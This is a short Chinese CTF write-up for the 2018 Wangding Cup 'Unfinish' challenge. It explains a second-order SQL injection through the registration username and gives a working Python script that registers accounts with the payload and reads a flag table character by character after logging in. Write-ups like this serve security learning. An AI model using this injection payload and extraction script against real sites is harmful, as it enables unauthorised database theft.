[网鼎杯2018]Unfinish
二次注入
disearch扫一下,有login.php,还有register.php,对应登录注册功能
推测有二次注入,测试一下
注册时
12345678@qq.com
0'+ascii(substr((select * from flag)from 1 for 1))+'0;
123456
回显
fuzz的时候,发现,
information
被过滤了,看师傅们的wp,都是直接猜字段名为flag,然后读取flag
import requests
import re
url = "http://4bd9c0c6-6363-43dc-bb93-416152229cb2.node4.buuoj.cn:81/"
url_login = url + 'login.php'
url_register = url + "register.php"
flag = ''
for i in range(1,50):
data1 = {#注册
"email":"3333{}@qq.com".format(i),
"username":"0'+ascii(substr((select * from flag)from {} for 1))+'0;".format(i),
"password":"123456"
}
data2 = {#登录
"email":"3333{}@qq.com".format(i),
"password":"123456"
}
ra1 = requests.post(url = url_register,data = data1)
ra2 = requests.post(url = url_login,data = data2)
ra1.encoding = "utf-8"
ra2.encoding = "utf-8"#需要进行编码形式确定
res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',ra2.text)
print(res)
res1 = re.search(r'\d+', res.group())
print(res1)
flag = flag+chr(int(res1.group()))
print(flag)